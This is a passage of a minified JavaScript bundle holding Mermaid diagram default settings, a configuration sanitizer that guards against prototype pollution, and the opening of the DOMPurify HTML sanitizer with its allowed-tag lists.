sans-serif',external_componentFontWeight:"normal",component_dbFontSize:14,component_dbFontFamily:'"Open Sans", sans-serif',component_dbFontWeight:"normal",external_component_dbFontSize:14,external_component_dbFontFamily:'"Open Sans", sans-serif',external_component_dbFontWeight:"normal",component_queueFontSize:14,component_queueFontFamily:'"Open Sans", sans-serif',component_queueFontWeight:"normal",external_component_queueFontSize:14,external_component_queueFontFamily:'"Open Sans", sans-serif',external_component_queueFontWeight:"normal",wrap:!0,wrapPadding:10,person_bg_color:"#08427B",person_border_color:"#073B6F",external_person_bg_color:"#686868",external_person_border_color:"#8A8A8A",system_bg_color:"#1168BD",system_border_color:"#3C7FC0",system_db_bg_color:"#1168BD",system_db_border_color:"#3C7FC0",system_queue_bg_color:"#1168BD",system_queue_border_color:"#3C7FC0",external_system_bg_color:"#999999",external_system_border_color:"#8A8A8A",external_system_db_bg_color:"#999999",external_system_db_border_color:"#8A8A8A",external_system_queue_bg_color:"#999999",external_system_queue_border_color:"#8A8A8A",container_bg_color:"#438DD5",container_border_color:"#3C7FC0",container_db_bg_color:"#438DD5",container_db_border_color:"#3C7FC0",container_queue_bg_color:"#438DD5",container_queue_border_color:"#3C7FC0",external_container_bg_color:"#B3B3B3",external_container_border_color:"#A6A6A6",external_container_db_bg_color:"#B3B3B3",external_container_db_border_color:"#A6A6A6",external_container_queue_bg_color:"#B3B3B3",external_container_queue_border_color:"#A6A6A6",component_bg_color:"#85BBF0",component_border_color:"#78A8D8",component_db_bg_color:"#85BBF0",component_db_border_color:"#78A8D8",component_queue_bg_color:"#85BBF0",component_queue_border_color:"#78A8D8",external_component_bg_color:"#CCCCCC",external_component_border_color:"#BFBFBF",external_component_db_bg_color:"#CCCCCC",external_component_db_border_color:"#BFBFBF",external_component_queue_bg_color:"#CCCCCC",external_component_queue_border_color:"#BFBFBF"},sankey:{useMaxWidth:!0,width:600,height:400,linkColor:"gradient",nodeAlignment:"justify",showValues:!0,prefix:"",suffix:""},block:{useMaxWidth:!0,padding:8},packet:{useMaxWidth:!0,rowHeight:32,bitWidth:32,bitsPerRow:32,showBits:!0,paddingX:5,paddingY:5},architecture:{useMaxWidth:!0,padding:40,iconSize:80,fontSize:16},radar:{useMaxWidth:!0,width:600,height:600,marginTop:50,marginRight:50,marginBottom:50,marginLeft:50,axisScaleFactor:1,axisLabelFactor:1.05,curveTension:.17},theme:"default",look:"classic",handDrawnSeed:0,layout:"dagre",maxTextSize:5e4,maxEdges:500,darkMode:!1,fontFamily:'"trebuchet ms", verdana, arial, sans-serif;',logLevel:5,securityLevel:"strict",startOnLoad:!0,arrowMarkerAbsolute:!1,secure:["secure","securityLevel","startOnLoad","maxTextSize","suppressErrorRendering","maxEdges"],legacyMathML:!1,forceLegacyMathML:!1,deterministicIds:!1,fontSize:16,markdownAutoWrap:!0,suppressErrorRendering:!1}});var qG,WG,YG,ur,La=N(()=>{"use strict";e3();HG();qG={...ul,deterministicIDSeed:void 0,elk:{mergeEdges:!1,nodePlacementStrategy:"BRANDES_KOEPF",forceNodeModelOrder:!1,considerModelOrder:"NODES_AND_EDGES"},themeCSS:void 0,themeVariables:So.default.getThemeVariables(),sequence:{...ul.sequence,messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont"),noteFont:o(function(){return{fontFamily:this.noteFontFamily,fontSize:this.noteFontSize,fontWeight:this.noteFontWeight}},"noteFont"),actorFont:o(function(){return{fontFamily:this.actorFontFamily,fontSize:this.actorFontSize,fontWeight:this.actorFontWeight}},"actorFont")},class:{hideEmptyMembersBox:!1},gantt:{...ul.gantt,tickInterval:void 0,useWidth:void 0},c4:{...ul.c4,useWidth:void 0,personFont:o(function(){return{fontFamily:this.personFontFamily,fontSize:this.personFontSize,fontWeight:this.personFontWeight}},"personFont"),flowchart:{...ul.flowchart,inheritDir:!1},external_personFont:o(function(){return{fontFamily:this.external_personFontFamily,fontSize:this.external_personFontSize,fontWeight:this.external_personFontWeight}},"external_personFont"),systemFont:o(function(){return{fontFamily:this.systemFontFamily,fontSize:this.systemFontSize,fontWeight:this.systemFontWeight}},"systemFont"),external_systemFont:o(function(){return{fontFamily:this.external_systemFontFamily,fontSize:this.external_systemFontSize,fontWeight:this.external_systemFontWeight}},"external_systemFont"),system_dbFont:o(function(){return{fontFamily:this.system_dbFontFamily,fontSize:this.system_dbFontSize,fontWeight:this.system_dbFontWeight}},"system_dbFont"),external_system_dbFont:o(function(){return{fontFamily:this.external_system_dbFontFamily,fontSize:this.external_system_dbFontSize,fontWeight:this.external_system_dbFontWeight}},"external_system_dbFont"),system_queueFont:o(function(){return{fontFamily:this.system_queueFontFamily,fontSize:this.system_queueFontSize,fontWeight:this.system_queueFontWeight}},"system_queueFont"),external_system_queueFont:o(function(){return{fontFamily:this.external_system_queueFontFamily,fontSize:this.external_system_queueFontSize,fontWeight:this.external_system_queueFontWeight}},"external_system_queueFont"),containerFont:o(function(){return{fontFamily:this.containerFontFamily,fontSize:this.containerFontSize,fontWeight:this.containerFontWeight}},"containerFont"),external_containerFont:o(function(){return{fontFamily:this.external_containerFontFamily,fontSize:this.external_containerFontSize,fontWeight:this.external_containerFontWeight}},"external_containerFont"),container_dbFont:o(function(){return{fontFamily:this.container_dbFontFamily,fontSize:this.container_dbFontSize,fontWeight:this.container_dbFontWeight}},"container_dbFont"),external_container_dbFont:o(function(){return{fontFamily:this.external_container_dbFontFamily,fontSize:this.external_container_dbFontSize,fontWeight:this.external_container_dbFontWeight}},"external_container_dbFont"),container_queueFont:o(function(){return{fontFamily:this.container_queueFontFamily,fontSize:this.container_queueFontSize,fontWeight:this.container_queueFontWeight}},"container_queueFont"),external_container_queueFont:o(function(){return{fontFamily:this.external_container_queueFontFamily,fontSize:this.external_container_queueFontSize,fontWeight:this.external_container_queueFontWeight}},"external_container_queueFont"),componentFont:o(function(){return{fontFamily:this.componentFontFamily,fontSize:this.componentFontSize,fontWeight:this.componentFontWeight}},"componentFont"),external_componentFont:o(function(){return{fontFamily:this.external_componentFontFamily,fontSize:this.external_componentFontSize,fontWeight:this.external_componentFontWeight}},"external_componentFont"),component_dbFont:o(function(){return{fontFamily:this.component_dbFontFamily,fontSize:this.component_dbFontSize,fontWeight:this.component_dbFontWeight}},"component_dbFont"),external_component_dbFont:o(function(){return{fontFamily:this.external_component_dbFontFamily,fontSize:this.external_component_dbFontSize,fontWeight:this.external_component_dbFontWeight}},"external_component_dbFont"),component_queueFont:o(function(){return{fontFamily:this.component_queueFontFamily,fontSize:this.component_queueFontSize,fontWeight:this.component_queueFontWeight}},"component_queueFont"),external_component_queueFont:o(function(){return{fontFamily:this.external_component_queueFontFamily,fontSize:this.external_component_queueFontSize,fontWeight:this.external_component_queueFontWeight}},"external_component_queueFont"),boundaryFont:o(function(){return{fontFamily:this.boundaryFontFamily,fontSize:this.boundaryFontSize,fontWeight:this.boundaryFontWeight}},"boundaryFont"),messageFont:o(function(){return{fontFamily:this.messageFontFamily,fontSize:this.messageFontSize,fontWeight:this.messageFontWeight}},"messageFont")},pie:{...ul.pie,useWidth:984},xyChart:{...ul.xyChart,useWidth:void 0},requirement:{...ul.requirement,useWidth:void 0},packet:{...ul.packet},radar:{...ul.radar},treemap:{useMaxWidth:!0,padding:10,diagramPadding:8,showValues:!0,nodeWidth:100,nodeHeight:40,borderWidth:1,valueFontSize:12,labelFontSize:14,valueFormat:","}},WG=o((t,e="")=>Object.keys(t).reduce((r,n)=>Array.isArray(t[n])?r:typeof t[n]=="object"&&t[n]!==null?[...r,e+n,...WG(t[n],"")]:[...r,e+n],[]),"keyify"),YG=new Set(WG(qG,"")),ur=qG});var b0,T5e,S7=N(()=>{"use strict";La();pt();b0=o(t=>{if(X.debug("sanitizeDirective called with",t),!(typeof t!="object"||t==null)){if(Array.isArray(t)){t.forEach(e=>b0(e));return}for(let e of Object.keys(t)){if(X.debug("Checking key",e),e.startsWith("__")||e.includes("proto")||e.includes("constr")||!YG.has(e)||t[e]==null){X.debug("sanitize deleting key: ",e),delete t[e];continue}if(typeof t[e]=="object"){X.debug("sanitizing object",e),b0(t[e]);continue}let r=["themeCSS","fontFamily","altFontFamily"];for(let n of r)e.includes(n)&&(X.debug("sanitizing css option",e),t[e]=T5e(t[e]))}if(t.themeVariables)for(let e of Object.keys(t.themeVariables)){let r=t.themeVariables[e];r?.match&&!r.match(/^[\d "#%(),.;A-Za-z]+$/)&&(t.themeVariables[e]="")}X.debug("After sanitization",t)}},"sanitizeDirective"),T5e=o(t=>{let e=0,r=0;for(let n of t){if(e{"use strict";v0();pt();e3();La();S7();gh=Object.freeze(ur),Es=Rn({},gh),cd=[],Py=Rn({},gh),r3=o((t,e)=>{let r=Rn({},t),n={};for(let i of e)QG(i),n=Rn(n,i);if(r=Rn(r,n),n.theme&&n.theme in So){let i=Rn({},t3),a=Rn(i.themeVariables||{},n.themeVariables);r.theme&&r.theme in So&&(r.themeVariables=So[r.theme].getThemeVariables(a))}return Py=r,JG(Py),Py},"updateCurrentConfig"),C7=o(t=>(Es=Rn({},gh),Es=Rn(Es,t),t.theme&&So[t.theme]&&(Es.themeVariables=So[t.theme].getThemeVariables(t.themeVariables)),r3(Es,cd),Es),"setSiteConfig"),jG=o(t=>{t3=Rn({},t)},"saveConfigFromInitialize"),KG=o(t=>(Es=Rn(Es,t),r3(Es,cd),Es),"updateSiteConfig"),A7=o(()=>Rn({},Es),"getSiteConfig"),n3=o(t=>(JG(t),Rn(Py,t),Qt()),"setConfig"),Qt=o(()=>Rn({},Py),"getConfig"),QG=o(t=>{t&&(["secure",...Es.secure??[]].forEach(e=>{Object.hasOwn(t,e)&&(X.debug(`Denied attempt to modify a secure key ${e}`,t[e]),delete t[e])}),Object.keys(t).forEach(e=>{e.startsWith("__")&&delete t[e]}),Object.keys(t).forEach(e=>{typeof t[e]=="string"&&(t[e].includes("<")||t[e].includes(">")||t[e].includes("url(data:"))&&delete t[e],typeof t[e]=="object"&&QG(t[e])}))},"sanitize"),ZG=o(t=>{b0(t),t.fontFamily&&!t.themeVariables?.fontFamily&&(t.themeVariables={...t.themeVariables,fontFamily:t.fontFamily}),cd.push(t),r3(Es,cd)},"addDirective"),By=o((t=Es)=>{cd=[],r3(t,cd)},"reset"),w5e={LAZY_LOAD_DEPRECATED:"The configuration options lazyLoadedDiagrams and loadExternalDiagramsAtStartup are deprecated. Please use registerExternalDiagrams instead."},XG={},k5e=o(t=>{XG[t]||(X.warn(w5e[t]),XG[t]=!0)},"issueWarning"),JG=o(t=>{t&&(t.lazyLoadedDiagrams||t.loadExternalDiagramsAtStartup)&&k5e("LAZY_LOAD_DEPRECATED")},"checkConfig"),eV=o(()=>{let t={};t3&&(t=Rn(t,t3));for(let e of cd)t=Rn(t,e);return t},"getUserDefinedConfig")});function Ja(t){return function(e){e instanceof RegExp&&(e.lastIndex=0);for(var r=arguments.length,n=new Array(r>1?r-1:0),i=1;i2&&arguments[2]!==void 0?arguments[2]:s3;tV&&tV(t,null);let n=e.length;for(;n--;){let i=e[n];if(typeof i=="string"){let a=r(i);a!==i&&(E5e(e)||(e[n]=a),i=a)}t[i]=!0}return t}function N5e(t){for(let e=0;e0&&arguments[0]!==void 0?arguments[0]:U5e(),e=o(Ct=>pV(Ct),"DOMPurify");if(e.version="3.2.6",e.removed=[],!t||!t.document||t.document.nodeType!==Vy.document||!t.Element)return e.isSupported=!1,e;let{document:r}=t,n=r,i=n.currentScript,{DocumentFragment:a,HTMLTemplateElement:s,Node:l,Element:u,NodeFilter:h,NamedNodeMap:f=t.NamedNodeMap||t.MozNamedAttrMap,HTMLFormElement:d,DOMParser:p,trustedTypes:m}=t,g=u.prototype,y=Gy(g,"cloneNode"),v=Gy(g,"remove"),x=Gy(g,"nextSibling"),b=Gy(g,"childNodes"),T=Gy(g,"parentNode");if(typeof s=="function"){let Ct=r.createElement("template");Ct.content&&Ct.content.ownerDocument&&(r=Ct.content.ownerDocument)}let S,w="",{implementation:k,createNodeIterator:A,createDocumentFragment:C,getElementsByTagName:R}=r,{importNode:I}=n,L=cV();e.isSupported=typeof uV=="function"&&typeof T=="function"&&k&&k.createHTMLDocument!==void 0;let{MUSTACHE_EXPR:E,ERB_EXPR:D,TMPLIT_EXPR:_,DATA_ATTR:O,ARIA_ATTR:M,IS_SCRIPT_OR_DATA:P,ATTR_WHITESPACE:B,CUSTOM_ELEMENT:F}=lV,{IS_ALLOWED_URI:G}=lV,$=null,U=Nr({},[...iV,...D7,...L7,...R7,...aV]),j=null,te=Nr({},[...sV,...N7,...oV,...a3]),Y=Object.seal(hV(null,{tagNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},attributeNameCheck:{writable:!0,configurable:!1,enumerable:!0,value:null},allowCustomizedBuiltInElements:{writable:!0,configurable:!1,enumerable:!0,value:!1}})),oe=null,J=null,ue=!0,re=!0,ee=!1,Z=!0,K=!1,ae=!0,Q=!1,de=!1,ne=!1,Te=!1,q=!1,Ve=!1,pe=!0,Be=!1,Ye="user-content-",He=!0,Le=!1,Ie={},Ne=null,Ce=Nr({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),Fe=null,fe=Nr({},["audio","video","img","source","image","track"]),xe=null,W=Nr({},["alt","class","for","id","label","name","pattern","placeholder","role","summary","title","value","style","xmlns"]),he="http://www.w3.org/1998/Math/MathML",z="http://www.w3.org/2000/svg",se="http://www.w3.org/1999/xhtml",le=se,ke=!1,ve=null,ye=Nr({},[he,z,se],_7),Re=Nr({},["mi","mo","mn","ms","mtext"]),_e=Nr({},["annotation-xml"]),ze=Nr({},["title","style","font","a","script"]),Ke=null,xt=["application/xhtml+xml","text/html"],We="text/html",Oe=null,et=null,Ue=r.createElement("form"),lt=o(function(Se){return Se instanceof RegExp||Se instanceof Function},"isRegexOrFunction"),Gt=o(function(){let Se=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};if(!(et&&et===Se)){if((!Se||typeof Se!="object")&&(Se={}),Se=lu(Se),Ke=xt.indexOf(Se.PARSER_MEDIA_TYPE)===-1?We:Se.PARSER_MEDIA_TYPE,Oe=Ke==="application/xhtml+xml"?_7:s3,$=hl(Se,"ALLOWED_TAGS")?Nr({},Se.ALLOWED_TAGS,Oe):U,j=hl(Se,"ALLOWED_ATTR")?Nr({},Se.ALLOWED_ATTR,Oe):te,ve=hl(Se,"ALLOWED_NAMESPACES")?Nr({},Se.ALLOWED_NAMESPACES,_7):ye,xe=hl(Se,"ADD_URI_SAFE_ATTR")?Nr(lu(W),Se.ADD_URI_SAFE_ATTR,Oe):W,Fe=hl(Se,"ADD_DATA_URI_TAGS")?Nr(lu(fe),Se.ADD_DATA_URI_TAGS,Oe):fe,Ne=hl(Se,"FORBID_CONTENTS")?Nr({},Se.FORBID_CONTENTS,Oe):Ce,oe=hl(Se,"FORBID_TAGS")?Nr({},Se.FORBID_TAGS,Oe):lu({}),J=hl(Se,"FORBID_ATTR")?Nr({},Se.FORBID_ATTR,Oe):lu({}),Ie=hl(Se,"USE_PROFILES")?Se.USE_PROFILES:!1,ue=Se.ALLOW_ARIA_ATTR!==!1,re=Se.ALLOW_DATA_ATTR!==!1,ee=Se.ALLOW_UNKNOWN_PROTOCOLS||!1,Z=Se.ALLOW_SELF_CLOSE_IN_ATTR!==!1,K=Se.SAFE_FOR_TEMPLATES||!1,ae=Se.SAFE_FOR_XML!==!1,Q=Se.WHOLE_DOCUMENT||!1,Te=Se.RETURN_DOM||!1,q=Se.RETURN_DOM_FRAGMENT||!1,Ve=Se.RETURN_TRUSTED_TYPE||!1,ne=Se.FORCE_BODY||!1,pe=Se.SANITIZE_DOM!==!1,Be=Se.SANITIZE_NAMED_PROPS||!1,He=Se.KEEP_CONTENT!==!1,Le=Se.IN_PLACE||!1,G=Se.ALLOWED_URI_REGEXP||fV,le=Se.NAMESPACE||se,Re=Se.MATHML_TEXT_INTEGRATION_POINTS||Re,_e=Se.HTML_INTEGRATION_POINTS||_e,Y=Se.CUSTOM_ELEMENT_HANDLING||{},Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck)&&(Y.tagNameCheck=Se.CUSTOM_ELEMENT_HANDLING.tagNameCheck),Se.CUSTOM_ELEMENT_HANDLING&<(Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(Y.attributeNameCheck=Se.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),Se.CUSTOM_ELEMENT_HANDLING&&typeof Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements=="boolean"&&(Y.allowCustomizedBuiltInElements=Se.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements),K&&(re=!1),q&&(Te=!0),Ie&&($=Nr({},aV),j=[],Ie.html===!0&&(Nr($,iV),Nr(j,sV)),Ie.svg===!0&&(Nr($,D7),Nr(j,N7),Nr(j,a3)),Ie.svgFilters===!0&&(Nr($,L7),Nr(j,N7),Nr(j,a3)),Ie.mathMl===!0&&(Nr($,R7),Nr(j,oV),Nr(j,a3))),Se.ADD_TAGS&&($===U&&($=lu($)),Nr($,Se.ADD_TAGS,Oe)),Se.ADD_ATTR&&(j===te&&(j=lu(j)),Nr(j,Se.ADD_ATTR,Oe)),Se.ADD_URI_SAFE_ATTR&&Nr(xe,Se.ADD_URI_SAFE_ATTR,Oe),Se.FORBID_CONTENTS&&(Ne===Ce&&(Ne=lu(Ne)),Nr(Ne,Se.FORBID_CONTENTS,Oe)),He&&($["#text"]=!0),Q&&Nr($,["html","head","body"]),$.table&&(Nr($,["tbody"]),delete oe.tbody),Se.TRUSTED_TYPES_POLICY){if(typeof Se.TRUSTED_TYPES_POLICY.createHTML!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createHTML" hook.');if(typeof Se.TRUSTED_TYPES_POLICY.createScriptURL!="function")throw zy('TRUSTED_TYPES_POLICY configuration option must provide a "createScriptURL" hook.');S=Se.TRUSTED_TYPES_POLICY,w=S.createHTML("")}else S===void 0&&(S=H5e(m,i)),S!==null&&typeof w=="string"&&(w=S.createHTML(""));Za&&Za(Se),et=Se}},"_parseConfig"),vt=Nr({},[...D7,...L7,...M5e]),Lt=Nr({},[...R7,...I5e]),dt=o(function(Se){let at=T(Se);(!at||!at.tagName)&&(at={namespaceURI:le,tagName:"template"});let Nt=s3(Se.tagName),wr=s3(at.tagName);return ve[Se.namespaceURI]?Se.namespaceURI===z?at.namespaceURI===se?Nt==="svg":at.namespaceURI===he?Nt==="svg"&&(wr==="annotation-xml"||Re[wr]):!!vt[Nt]:Se.namespaceURI===he?at.namespaceURI===se?Nt==="math":at.namespaceURI===z?Nt==="math"&&_e[wr]:!!Lt[Nt]:Se.namespaceURI===se?at.namespaceURI===z&&!_e[wr]||at.namespaceURI===he&&!Re[wr]?!1:!Lt[Nt]&&(ze[Nt]||!vt[Nt]):!!(Ke==="application/xhtml+xml"&&ve[Se.namespaceURI]):!1},"_checkValidNamespace"),nt=o(function(Se){Fy(e.removed,{element:Se});try{T(Se).removeChild(Se)}catch{v(Se)}},"_forceRemove"),bt=o(function(Se,at){try{Fy(e.removed,{attribute:at.getAttributeNode(Se),from:at})}catch{Fy(e.removed,{attribute:null,from:at})}if(at.removeAttribute(Se),Se==="is")if(Te||q)try{nt(at)}catch{}else try{at.setAttribute(Se,"")}catch{}},"_removeAttribute"),wt=o(function(Se){let at=null,Nt=null;if(ne)Se=""+Se;else{let yn=nV(Se,/^[\r\n\t ]+/);Nt=yn&&yn[0]}Ke==="application/xhtml+xml"&&le===se&&(Se=''+Se+"");let wr=S?S.createHTML(Se):Se;if(le===se)try{at=new p().parseFromString(wr,Ke)}catch{}if(!at||!at.documentElement){at=k.createDocument(le,"template",null);try{at.documentElement.innerHTML=ke?w:wr}catch{}}let Tn=at.body||at.documentElement;return Se&&Nt&&Tn.insertBefore(r.createTextNode(Nt),Tn.childNodes[0]||null),le===se?R.call(at,Q?"html":"body")[0]:Q?at.documentElement:Tn},"_initDocument"),yt=o(function(Se){return A.call(Se.ownerDocument||Se,Se,h.SHOW_ELEMENT|h.SHOW_COMMENT|h.SHOW_TEXT|h.SHOW_PROCESSING_INSTRUCTION|h.SHOW_CDATA_SECTION,null)},"_createNodeIterator"),ft=o(function(Se){return Se instanceof d&&(typeof Se.nodeName!="string"||typeof Se.textContent!="string"||typeof Se.removeChild!="function"||!(Se.attributes instanceof f)||typeof Se.removeAttribute!="function"||typeof Se.setAttribute!="function"||typeof Se.namespaceURI!="string"||typeof Se.insertBefore!="function"||typeof Se.hasChildNodes!="function")},"_isClobbered"),Ur=o(function(Se){return typeof l=="function"&&Se instanceof l},"_isNode");function _t(Ct,Se,at){i3(Ct,Nt=>{Nt.call(e,Se,at,et)})}o(_t,"_executeHooks");let bn=o(function(Se){let at=null;if(_t(L.beforeSanitizeElements,Se,null),ft(Se))return nt(Se),!0;let Nt=Oe(Se.nodeName);if(_t(L.uponSanitizeElement,Se,{tagName:Nt,allowedTags:$}),ae&&Se.hasChildNodes()&&!Ur(Se.firstElementChild)&&Qa(/<[/\w!]/g,Se.innerHTML)&&Qa(/<[/\w!]/g,Se.textContent)||Se.nodeType===Vy.progressingInstruction||ae&&Se.nodeType===Vy.comment&&Qa(/<[/\w]/g,Se.data))return nt(Se),!0;if(!$[Nt]||oe[Nt]){if(!oe[Nt]&&cr(Nt)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt)))return!1;if(He&&!Ne[Nt]){let wr=T(Se)||Se.parentNode,Tn=b(Se)||Se.childNodes;if(Tn&&wr){let yn=Tn.length;for(let sn=yn-1;sn>=0;--sn){let Hi=y(Tn[sn],!0);Hi.__removalCount=(Se.__removalCount||0)+1,wr.insertBefore(Hi,x(Se))}}}return nt(Se),!0}return Se instanceof u&&!dt(Se)||(Nt==="noscript"||Nt==="noembed"||Nt==="noframes")&&Qa(/<\/no(script|embed|frames)/i,Se.innerHTML)?(nt(Se),!0):(K&&Se.nodeType===Vy.text&&(at=Se.textContent,i3([E,D,_],wr=>{at=$y(at,wr," ")}),Se.textContent!==at&&(Fy(e.removed,{element:Se.cloneNode()}),Se.textContent=at)),_t(L.afterSanitizeElements,Se,null),!1)},"_sanitizeElements"),Br=o(function(Se,at,Nt){if(pe&&(at==="id"||at==="name")&&(Nt in r||Nt in Ue))return!1;if(!(re&&!J[at]&&Qa(O,at))){if(!(ue&&Qa(M,at))){if(!j[at]||J[at]){if(!(cr(Se)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Se)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Se))&&(Y.attributeNameCheck instanceof RegExp&&Qa(Y.attributeNameCheck,at)||Y.attributeNameCheck instanceof Function&&Y.attributeNameCheck(at))||at==="is"&&Y.allowCustomizedBuiltInElements&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt))))return!1}else if(!xe[at]){if(!Qa(G,$y(Nt,B,""))){if(!((at==="src"||at==="xlink:href"||at==="href")&&Se!=="script"&&D5e(Nt,"data:")===0&&Fe[Se])){if(!(ee&&!Qa(P,$y(Nt,B,"")))){if(Nt)return!1}}}}}}return!0},"_isValidAttribute"),cr=o(function(Se){return Se!=="annotation-xml"&&nV(Se,F)},"_isBasicCustomElement"),ar=o(function(Se){_t(L.beforeSanitizeAttributes,Se,null);let{attributes:at}=Se;if(!at||ft(Se))return;let Nt={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:j,forceKeepAttr:void 0},wr=at.length;for(;wr--;){let Tn=at[wr],{name:yn,namespaceURI:sn,value:Hi}=Tn,Zs=Oe(yn),_a=Hi,fr=yn==="value"?_a:L5e(_a);if(Nt.attrName=Zs,Nt.attrValue=fr,Nt.keepAttr=!0,Nt.forceKeepAttr=void 0,_t(L.uponSanitizeAttribute,Se,Nt),fr=Nt.attrValue,Be&&(Zs==="id"||Zs==="name")&&(bt(yn,Se),fr=Ye+fr),ae&&Qa(/((--!?|])>)|<\/(style|title)/i,fr)){bt(yn,Se);continue}if(Nt.forceKeepAttr)continue;if(!Nt.keepAttr){bt(yn,Se);continue}if(!Z&&Qa(/\/>/i,fr)){bt(yn,Se);continue}K&&i3([E,D,_],kt=>{fr=$y(fr,kt," ")});let it=Oe(Se.nodeName);if(!Br(it,Zs,fr)){bt(yn,Se);continue}if(S&&typeof m=="object"&&typeof m.getAttributeType=="function"&&!sn)switch(m.getAttributeType(it,Zs)){case"TrustedHTML":{fr=S.createHTML(fr);break}case"TrustedScriptURL":{fr=S.createScriptURL(fr);break}}if(fr!==_a)try{sn?Se.setAttributeNS(sn,yn,fr):Se.setAttribute(yn,fr),ft(Se)?nt(Se):rV(e.removed)}catch{bt(yn,Se)}}_t(L.afterSanitizeAttributes,Se,null)},"_sanitizeAttributes"),_r=o(function Ct(Se){let at=null,Nt=yt(Se);for(_t(L.beforeSanitizeShadowDOM,Se,null);at=Nt.nextNode();)_t(L.uponSanitizeShadowNode,at,null),bn(at),ar(at),at.content instanceof a&&Ct(at.content);_t(L.afterSanitizeShadowDOM,Se,null)},"_sanitizeShadowDOM");return e.sanitize=function(Ct){let Se=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},at=null,Nt=null,wr=null,Tn=null;if(ke=!Ct,ke&&(Ct=""),typeof Ct!="string"&&!Ur(Ct))if(typeof Ct.toString=="function"){if(Ct=Ct.toString(),typeof Ct!="string")throw zy("dirty is not a string, aborting")}else throw zy("toString is not a function");if(!e.isSupported)return Ct;if(de||Gt(Se),e.removed=[],typeof Ct=="string"&&(Le=!1),Le){if(Ct.nodeName){let Hi=Oe(Ct.nodeName);if(!$[Hi]||oe[Hi])throw zy("root node is forbidden and cannot be sanitized in-place")}}else if(Ct instanceof l)at=wt(""),Nt=at.ownerDocument.importNode(Ct,!0),Nt.nodeType===Vy.element&&Nt.nodeName==="BODY"||Nt.nodeName==="HTML"?at=Nt:at.appendChild(Nt);else{if(!Te&&!K&&!Q&&Ct.indexOf("<")===-1)return S&&Ve?S.createHTML(Ct):Ct;if(at=wt(Ct),!at)return Te?null:Ve?w:""}at&&ne&&nt(at.firstChild);let yn=yt(Le?Ct:at);for(;wr=yn.nextNode();)bn(wr),ar(wr),wr.content instanceof a&&_r(wr.content);if(Le)return Ct;if(Te){if(q)for(Tn=C.call(at.ownerDocument);at.firstChild;)Tn.appendChild(at.firstChild);else Tn=at;return(j.shadowroot||j.shadowrootmode)&&(Tn=I.call(n,Tn,!0)),Tn}let sn=Q?at.outerHTML:at.innerHTML;return Q&&$["!doctype"]&&at.ownerDocument&&at.ownerDocument.doctype&&at.ownerDocument.doctype.name&&Qa(dV,at.ownerDocument.doctype.name)&&(sn=" +`+sn),K&&i3([E,D,_],Hi=>{sn=$y(sn,Hi," ")}),S&&Ve?S.createHTML(sn):sn},e.setConfig=function(){let Ct=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};Gt(Ct),de=!0},e.clearConfig=function(){et=null,de=!1},e.isValidAttribute=function(Ct,Se,at){et||Gt({});let Nt=Oe(Ct),wr=Oe(Se);return Br(Nt,wr,at)},e.addHook=function(Ct,Se){typeof Se=="function"&&Fy(L[Ct],Se)},e.removeHook=function(Ct,Se){if(Se!==void 0){let at=A5e(L[Ct],Se);return at===-1?void 0:_5e(L[Ct],at,1)[0]}return rV(L[Ct])},e.removeHooks=function(Ct){L[Ct]=[]},e.removeAllHooks=function(){L=cV()},e}var uV,tV,E5e,S5e,C5e,Za,Co,hV,M7,I7,i3,A5e,rV,Fy,_5e,s3,_7,nV,$y,D5e,L5e,hl,Qa,zy,iV,D7,L7,M5e,R7,I5e,aV,sV,N7,oV,a3,O5e,P5e,B5e,F5e,$5e,fV,z5e,G5e,dV,V5e,lV,Vy,U5e,H5e,cV,yh,O7=N(()=>{"use strict";({entries:uV,setPrototypeOf:tV,isFrozen:E5e,getPrototypeOf:S5e,getOwnPropertyDescriptor:C5e}=Object),{freeze:Za,seal:Co,create:hV}=Object,{apply:M7,construct:I7}=typeof Reflect<"u"&&Reflect;Za||(Za=o(function(e){return e},"freeze"));Co||(Co=o(function(e){return e},"seal"));M7||(M7=o(function(e,r,n){return e.apply(r,n)},"apply"));I7||(I7=o(function(e,r){return new e(...r)},"construct"));i3=Ja(Array.prototype.forEach),A5e=Ja(Array.prototype.lastIndexOf),rV=Ja(Array.prototype.pop),Fy=Ja(Array.prototype.push),_5e=Ja(Array.prototype.splice),s3=Ja(String.prototype.toLowerCase),_7=Ja(String.prototype.toString),nV=Ja(String.prototype.match),$y=Ja(String.prototype.replace),D5e=Ja(String.prototype.indexOf),L5e=Ja(String.prototype.trim),hl=Ja(Object.prototype.hasOwnProperty),Qa=Ja(RegExp.prototype.test),zy=R5e(TypeError);o(Ja,"unapply");o(R5e,"unconstruct");o(Nr,"addToSet");o(N5e,"cleanArray");o(lu,"clone");o(Gy,"lookupGetter");iV=Za(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","s